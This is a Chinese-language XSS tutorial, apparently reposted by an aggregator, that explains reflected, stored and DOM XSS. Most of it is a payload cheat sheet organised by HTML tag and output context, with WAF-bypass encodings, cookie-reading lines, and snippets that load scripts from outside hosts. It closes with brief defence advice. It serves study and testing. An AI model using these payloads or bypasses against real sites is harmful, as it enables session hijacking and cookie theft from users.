XSS
Posted zzhoo
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了XSS相关的知识,希望对你有一定的参考价值。
一丶XSS漏洞成因及原理
XSS也叫Cross Site Script,因为和CSS重名,所以改名XSS。
通常指黑客通过“html注入”纂改了页面,插入了恶意的脚本,从而在用户浏览页面时,控制用户浏览器的一种攻击。在一开始,这种攻击的演示案例是 跨域的,所以叫“跨站脚本”。但是发展到今天,由于javascript的强大功能以及网站前端应用的复杂化,是否跨域已经不再重要。但是由于历史原因, 这个名字保留了下来。
假设一个页面把用户输入的参数输出到页面上:
1 <?php
2 $input=$_GET["param"];
3 echo "<div>".$input."</div>";
4 ?>
如果提交一段HTML代码:
会发现alert(/xss/)被执行了,替换其他的js代码可远程获取用户的cookie,可直接使用cookie来登录用户账户。
二 丶 XSS漏洞类型
1. 反射型XSS
就如上面的例子,也就是黑客需要诱使用户点击链接。也叫作”非持久型XSS“(Non-persistent XSS)
2. 存储型XSS
把用户输入的数据”存储“在服务器端数据库。这种XSS具有很强的稳定性。
比较常见的一个场景是,黑客写下一篇包含恶意Javascript代码的博客文章,文章发表后,所有访问该博客文章的用户,都会在他们的浏览器中执行这段恶意的Javascript代码。黑客把恶意的脚本保存在服务器端,所以中XSS攻击就叫做”存储型XSS”。
3. DOM型XSS
显性输出
DOM型XSS也是一种反射型XSS,由于历史原因被单独列出来了。通过修改页面的DOM节点形成的XSS,称之为DOM Based XSS。
Dom Xss 相比反射型 XSS,脑袋需要多思考一层。 也就是说, 我们关注的不仅是【输出】了什么,还要了解这个页面里,【javascript】拿这个【输出】干了什么。 为了循序渐进,本例讲到的是,【输出】直接在源代码可见的情况。
①. 在学习 Dom Xss 之前,先来补习点 html, js 的基础知识。
<div id="a">xxx</div>
<script> document.getElementById("a").innerHTML="yyyyyy";
</script>
解释如下:
②. 进一步,我们的 yyyyyy ,还可以是 HTML 代码。
<div id="a">xxx</div>
<script>
document.getElementById("a").innerHTML=" <img src=1> ";
</script>
效果如下:
此时在没有过滤的情况下可进行xss攻击。
隐型输出 (不会显示在页面但可以触发)
我们来说一个前端开发人员非常习惯使用的一段代码。下面大致写下伪代码。
function getParam(参数名){
//获取地址栏参数,通常是 a=1&b=2&c=3;
var x=location.search;//或者是 location.hash
//此时 x="?a=1&b=2&c=3";
//根据[参数名]取出参数名对应的值
//例如 参数名=a, 则 y=1
//例如 参数名=b, 则 y=2
//至于这里怎么实现这个功能,可以用循环,可以用 indexOf,可以用正则 var y= 参数名对应的参数值;
//返回 y return y;
}
它的作用呢?就是从地址栏的参数里取出内容。譬如: http://www.some.com/2.html?name=shouzi&age=20
我们在 2.html,要显示 name 对应的值。对应的代码则非常可能下面这样写:
<div id="nick">加载中...</div>
<script>
var a=getParam("name"); //获取地址栏里的 name 参数,即 shouzi document.getElementById("nick").innerHTML=a;
</script>
4. 上面是普通开发人员为了实现功能而写的代码,如果没有安全考虑,就会存在问题。 如果上面的地址变为了:
http://www.some.com/2.html?name=<img src=1 onerror=alert(1)>&age=20
那么变量 a 将会等于
<img src=1 onerror=alert(1)> document.getElementById("nick").innerHTML=a;
即变成了
document.getElementById("nick").innerHTML="<img src=1 onerror=alert(1)>";
三丶 XSS中常见可利用标签
-
依据输出位置进行XSS
-
标签之间:
模型: <div>[xss]</div>
payload: <script>alert(1)</script>或者<img src=1 onerror=alert(1)>
这些标签有:
<a> <p> <img> <body> <button> <var> <div> <object> <input> <select> <keygen> <frameset> <embed> <svg> <video> <audio>
自带HtmlEncode(转义)功能的标签(RCDATA),这是插入的javascript不会被执行,除非我们闭合掉它们。
<textarea></textarea>
<title></title>
<iframe></iframe>
<noscript></noscript>
<noframes></noframes>
<xmp></xmp>
<plaintext></plaintext>
其他:<math></math>也不行
-
在JS标签内:
在该位置,空格被过滤,可用/**/代替空格。输出在注释中,通过换行符%0a %0d使其逃逸出来。
-
不在字符串内。
判断<>/是否被过滤。如果没有,那么直接插入就可以。
<script>
[output]
</script>
payload:</script><script>alert(1)</script>
-
在字符串中
此时需要闭合字符串,并保证插入的JS代码符合语法规范。
如:
<script>
Var x="Input";
</script>
input是输出点,我们首先要闭合双引号,才能保证XSS成功。如果我们无法闭合包括字符串的引号(引号被转义),就很难利用,除非存在两个输出点或宽字节。
前者在引号被转义成HTML实体时有效。此外,两个输出点的情况,也需要在某些特殊情况下才能构造。例子可参考[那些年我们一起学XSS
反斜线复仇记](https://wizardforcel.gitbooks.io/xss-naxienian/content/4.html)
后者,在引号被转义成"时有效。在网页为GBK编码时,存在宽字节问题。
宽字节问题:
GBK编码第一字节(高字节)的范围为:0x81~0xFE
GBK编码第二字节(低字节)的范围为:0x40~0x7E、0x80~0xFE
符号的十六进制为0x5C, 刚好处在GBK的低字节中,如果前面有一个高字节(如%c0),那么
恰好会被组合成一个合法的字符,从而被吃掉,双引号逃逸出来。
例子可参考那些年我们一起学XSS|宽字节复仇记
?
-
输出在HTML属性内
?
-
文本属性中
例如:<input value="输出">
、 <img onload="...[输出]...">
,再比如 <body style="...[输出]...">
- 无引号包裹,直接添加新的事件属性。
- 有引号包括。首先测试引号是否可用,可用则闭合属性之后添加新的事件属性。
HTML的属性,如果被进行HTML实体编码(形如‘'),那么HTML会对其进行自动解码,从而我们可以在属性里以HTML实体编码的方式引入任意字符,从而方便我们在事件属性里以JS的方式构造payload。
当然,也可以闭合属性后,然后再执行脚本。
-
src/href/action/xlink:href/autofocus/content/data 等属性
直接使用伪协议绕过。
javascript 伪协议: <a href=javascript:alert(2)>test</a>
data 协议执行 javascript: <a href=data:text/html;base64,PHNjcmlwdD5hbGVydCgzKTwvc2NyaXB0Pg==>test</a>(Chrome被拦截,Firefox可以)
urlencode 版本: <a href=data:text/html;%3C%73%63%72%69%70%74%3E%61%6C%65%72%74%2829%29%3C%2F%73%63%72%69%70%74%3E>(测试未通过)
不使用 href 的另外一种组合来执行 js: <svg><a xlink:href="javascript:alert(14)"><rect width="1000" height="1000" fill="white"/></a></svg>(均可) 或者:
<math><a xlink:href=javascript:alert(1)>1</a></math>(Chrome不可,Firefox可以)
如果不行,则测试添加事件进行触发。(首先还是需要闭合)
如:<a href="test.com" onmouseover=alert(1)>ClickHere</a>
?
-
on*事件中
插入合乎逻辑的JS代码即可。也可以使用伪协议。
常见事件
onload
onclick
onunload
onchange
onsubmit
onreset
onselect
onblur
onfocus
onabort
onkeydown
onkeypress
onkeyup
ondbclick
onmouseover
onmousemove
onmouseout
onmouseup
onforminput
onformchange
ondrag
ondrop
?
-
style属性内及css代码之中IE可执行,并且在IE6以上被防御,不适合其他浏览器,基本已死。
style="width:expression(js代码)"
background-image:url(‘javascript:alert(2)‘)
-
输出在meta标签
<meta http-equiv="refresh" content="0; url=data:text/html,%3C%73%63%72%69%70%74%3E%61%6C%65%72%74%28%31%29%3C%2F%73%63%72%69%70%74%3E">
还有一些猥琐的思路,就是通过给http-equiv设置set-cookie,进一步重新设置 cookie 来干一些猥琐的事情。
0x01 具体标签的Payload
-
a标签
-
javascript伪协议:
<a href=javascript:alert(2)>
-
data协议执行javascript:
<a href=data:text/html;base64,PHNjcmlwdD5hbGVydCgzKTwvc2NyaXB0Pg==>
?
-
urlencode版本:
<a href=data:text/html;%3C%73%63%72%69%70%74%3E%61%6C%65%72%74%2829%29%3C%2F%73%63%72%69%70%74%3E>
-
不使用href的另外一种组合来执行js:
<svg><a xlink:href="javascript:alert(14)"><rect width="1000" height="1000" fill="white"/></a></svg>
或者:
<math><a xlink:href=javascript:alert(1)></math>
-
script标签
-
最简单的测试payload:
<script>alert(1)</script>
-
jsfuck版本:
<script>alert((+[][+[]]+[])[++[[]][+[]]]+([![]]+[])[++[++[[]][+[]]][+[]]]+([!![]]+[])[++[++[++[[]][+[]]][+[]]][+[]]]+([!![]]+[])[++[[]][+[]]]+([!![]]+[])[+[]])</script>
-
各种编码版本:
<script/src=data:text/ju0061vu0061script,u0061%6C%65%72%74(/XSS/)></script>
<script>prompt(-[])</script>//不只是alert。prompt和confirm也可以弹窗
<script>alert(/3/)</script>//可以用"/"来代替单引号和双引号
<script>alert(String.fromCharCode(49))</script> //我们还可以用char
<script>alert(/7/.source)</script> // ".source"不会影响alert(7)的执行
<script>setTimeout(‘alert(1)‘,0)</script> //如果输出是在setTimeout里,我们依然可以直接执行alert(1)
-
button标签
-
event事件实现js调用:
<button/onclick=alert(1) >M</button>
-
html5的新姿势:
需要交互的版本:
<form><button formaction=javascript:alert(1)>M
不需要交互的版本:
<button onfocus=alert(1) autofocus>
-
p标签
- 如果发现变量输出在p标签中,只要能跳出
""
就足够了:
<p/onmouseover=javascript:alert(1); >M</p>
-
img标签
有些姿势是因为浏览器的不同而不能成功执行的。
-
只在chrome下有效:
<img src ?itworksonchrome?/onerror = alert(1)> //只在chrome下有效
<img/src/onerror=alert(1)> //只在chrome下有效
-
其他:
<img src=x onerror=alert(1)>
<img src="x:kcf" onerror="alert(1)">
-
body标签
通过event事件来调用js
<body onload=alert(1)>
<body onscroll=alert(1)><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><input autofocus>
-
var标签
<var onmouseover="prompt(1)">M</var>
-
div标签
<div/onmouseover=‘alert(1)‘>X
<div style="position:absolute;top:0;left:0;width:100%;height:100%" onclick="alert(52)">
-
iframe标签
有时候我们可以通过实体编码、换行和Tab字符来bypass。我们还可以通过事先在swf文件中插入我们的xss code,然后通过src属性来调用。不过关于flash,只有在crossdomain.xml文件中,allow-access-from domain=”*“允许从外部调用swf时,才可以通过flash来事先xss attack。
下面的	
为tab字符
<iframe src=j	a	v	a	s	c	r	i	p	t	:a	l	e	r	t	%28	1	%29></iframe>
<iframe SRC="http://0x.lv/xss.swf"></iframe>
<IFRAME SRC="javascript:alert(1);"></IFRAME>
<iframe/onload=alert(1)></iframe>
-
meta标签
测试时发现昵称,文章标题跑到meta标签中,那么只需要跳出当前属性再添加http-equiv="refresh"
,就可以构造一个有效地xss payload。还有一些猥琐的思路,就是通过给http-equiv
设置set-cookie
,进一步重新设置cookie来干一些猥琐的事情。
<meta http-equiv="refresh" content="0;javascript:alert(1)"/>
<meta http-equiv="refresh" content="0; url=data:text/html,%3C%73%63%72%69%70%74%3E%61%6C%65%72%74%28%31%29%3C%2F%73%63%72%69%70%74%3E">
-
object标签
和a标签的href属性的玩法是一样的,优点是无需交互。
<object data=data:text/html;base64,PHNjcmlwdD5hbGVydCgiS0NGIik8L3NjcmlwdD4=></object>
-
marquee标签
<marquee onstart="alert(‘1‘)"></marquee>
-
isindex标签
在一些只针对属性做了过滤的webapp中,action很有可能是漏网之鱼。
<isindex type=image src=1 onerror=alert(1)>
<isindex action=javascript:alert(1) type=image>
-
input标签
通过event来调用js。和button一样通过autofocus可以达到无需交互即可弹窗的效果。
<input onfocus=javascript:alert(1) autofocus>
<input onblur=javascript:alert(1) autofocus><input autofocus>
-
select标签
<select onfocus=javascript:alert(1) autofocus>
-
textarea标签
<textarea onfocus=javascript:alert(1) autofocus>
-
keygen标签
<keygen onfocus=javascript:alert(1) autofocus>
-
frameset标签
<FRAMESET><FRAME SRC="javascript:alert(1);"></FRAMESET>
-
embed标签
<embed src="data:text/html;base64,PHNjcmlwdD5hbGVydCgiS0NGIik8L3NjcmlwdD4="></embed> //chrome
<embed src=javascript:alert(1)> //firefox
-
svg标签
<svg onload="javascript:alert(1)" xmlns="http://www.w3.org/2000/svg"></svg>
<svg xmlns="http://www.w3.org/2000/svg"><g onload="javascript:alert(1)"></g></svg> //chrome有效
-
math标签
<math href="javascript:javascript:alert(1)">CLICKME</math>
<math><y/xlink:href=javascript:alert(51)>test1
<math> <maction actiontype="statusline#http://wangnima.com" xlink:href="javascript:alert(49)">CLICKME
-
video标签
<video><source onerror="alert(1)">
<video src=x onerror=alert(48)>
?
-
audio标签
<audio src=x onerror=alert(47)>
-
background属性
<table background=javascript:alert(1)></table> // 在Opera 10.5和IE6上有效
?
-
poster属性
<video poster=javascript:alert(1)//></video> // Opera 10.5以下有效
-
code属性
<applet code="javascript:confirm(document.cookie);"> // Firefox有效
embed code="http://businessinfo.co.uk/labs/xss/xss.swf" allowscriptaccess=always>
-
expression属性
<img style="xss:expression(alert(0))"> // IE7以下
<div style="color:rgb(‘‘�x:expression(alert(1))"></div> // IE7以下
<style>#test{x:expression(alert(/XSS/))}</style> // IE7以下
四丶XSS过waf
-
单次过滤规则绕过:有些规则仅进行一次过滤替换,可以通过双重复写绕过<scr<script>ipt>
-
大小写绕过:<sCript>
-
alert被过滤,可以尝试prompt和confirm
-
没有引号和分号:<IMG SRC=javascript:alert(‘XSS‘)>
-
空格被过滤:<img/src=""onerror=alert(2)> <svg/onload=alert(2)></svg>
-
反引号妙用:
-
长度限制时: <q/oncut=alert(1)>//在限制长度的地方很有效
-
单引号及双引号被过滤情况: <script>alert(/jdq/)</script> //用双引号会把引号内的内容单独作为内容 用斜杠,则会连斜杠一起回显
-
javascript伪协议
<a href="javascript:alert(/test/)">xss</a>
<iframe src=javascript:alert(‘xss‘);height=0 width=0 /><iframe>利用iframe框架标签
-
畸形payload:<IMG """><SCRIPT>alert("XSS")</SCRIPT>">
-
/的妙用:<script>alert(/3/)</script>
-
括号被过滤,可以使用throw来抛出数据
<a onmouseover="javascript:window.onerror=alert;throw 1">2</a>
<img src=x onerror="javascript:window.onerror=alert;throw 1">
以上两个测试向量在 Chrome 和 IE 上会出现一个 “uncaught” 错误,可以用下面的向量代替(下面向量在FireFox上测试失败)
<body/onload=javascript:window.onerror=eval;throw‘=alertx281x29‘;>
-
当=();:被过滤时:<svg><script>alert(/1/)</script>
opera 中可以不闭合 <svg><script>alert( 1)
// Opera可查
-
过滤某些关键字(如:javascript) 可以在属性中的引号内容中使用空字符、空格、TAB换行、注释、特殊的函数,将代码行隔开。比如在使用<iframe src="javascript:alert(1253)" height=0 width=0 /><iframe>
时,可以用回车、Tab键将src中的内容隔开,回车的url编码为%0a,%0b; 拼凑法:① 双写绕过;② 使用js定义变量z=scri, z+pt=script; ③ 两处输出点<scri<!-- 第二处-->pt>
;
-
无法使用href:
<a onmouseover="alert(document.cookie)">xxs link</a>
在chrome下,其回补全缺失的引号。因此,也可以这样写:
<a onmouseover=alert(document.cookie)>xxs link</a>
-
解决限制字符(要求同页面)
<script>z=’document.’</script>
<script>z=z+’write(“‘</script>
<script>z=z+’<script’</script>
<script>z=z+’ src=ht’</script>
<script>z=z+’tp://ww’</script>
<script>z=z+’w.shell’</script>
<script>z=z+’.net/1.’</script>
<script>z=z+’js></sc’</script>
<script>z=z+’ript>”)’</script>
<script>eval_r(z)</script>
?
-
编码:
-
JS函数(如eval,settimeout)还有就是href= action= formaction= location= on*= name= background= poster= src= code=
这些地方,可以配合编码。此外,data属性可以base64编码。
-
js16进制
<script>eval(“js+16进制加密”)</script>
<script>eval("x61x6cx65x72x74x28x22x78x73x73x22x29")</script>
编码要执行的语句↓
Alert(“xss”)
-
js unicode
<script>eval("unicode加密")</script>
//js unicode加密 解决alert()被过滤
<script>eval("u0061u006cu0065u0072u0074u0028u0022u0078u0073u0073u0022u0029")</script>
-
String.fromCharCode函数(不需要任何引号,必须函数内)
<script>eval(String.fromCharCode编码内容))</script>
<script>eval(String.fromCharCode(97,108,101,114,116,40,34,120,115,115,34,41,13))</script>
-
jsfuck版本
<script>alert((+[][+[]]+[])[++[[]][+[]]]+([![]]+[])[++[++[[]][+[]]][+[]]]+([!![]]+[])[++[++[++[[]][+[]]][+[]]][+[]]]+([!![]]+[])[++[[]][+[]]]+([!![]]+[])[+[]])</script>
-
HTML编码:
<img src=‘1‘ onerror=‘alert(1)‘>
-
base64编码(仅data支持)
<object data="data:text/html;base64,PHNjcmlwdCBzcmM9aHR0cDovL3QuY24vUnE5bjZ6dT48L3NjcmlwdD4="></object>
格式:
Data:<mime type>,<encoded data>
Data //协议
<mime type> //数据类型
charset=<charset> //指定编码
[;base64] //被指定的编码
<encoded data> //定义data协议的编码
特点:不支持IE
-
存在json数据解析 context: <?=json_encode($_GET[‘x‘])?>
payload: ?x=<img+src=x+onerror=ö-alert(1)>
-
SVG 标签
当返回结果在 svg 标签中的时候,会有一个特性 <svg><script>varmyvar="YourInput";</script></svg>
YourInput 可控,输入 www.site.com/test.php?var=text";alert(1)//
如果把 “ 编码一些他仍然能够执行: <svg><script>varmyvar="text";alert(1)//";</script></svg>
五丶XSS防御策略
HttpOnly 与 XSS防御
1.
XSS 一般利用js脚步读取用户浏览器中的Cookie,而如果在服务器端对 Cookie 设置了HttpOnly 属性,那么js脚本就不能读取到cookie,但是浏览器还是能够正常使用cookie。
一般的Cookie都是从document对象中获得的,现在浏览器在设置 Cookie的时候一般都接受一个叫做HttpOnly的参数,跟domain等其他参数一样,一旦这个HttpOnly被设置,你在浏览器的 document对象中就看不到Cookie了,而浏览器在浏览的时候不受任何影响, 因为Cookie会被放在浏览器头中发送出去(包括ajax的时 候),应用程序也一般不会在js里操作这些敏感Cookie的,对于一些敏感的Cookie我们采用HttpOnly,对于一些需要在应用程序中用js操 作的cookie我们就不予设置,这样就保障了Cookie信息的安全也保证了应用。
2.
XSS防御的总体思路是:对输入(和URL参数)进行过滤,对输出进行编码。
也就是对提交的所有内容进行过滤,对url中的参数进行过滤,过滤掉会导致脚本执行的相关内容;然后对动态输出到页面的内容进行html编码,使脚本无法在浏览器中执行。虽然对输入过滤可以被绕过,但是也还是会拦截很大一部分的XSS攻击。
以上是关于XSS的主要内容,如果未能解决你的问题,请参考以下文章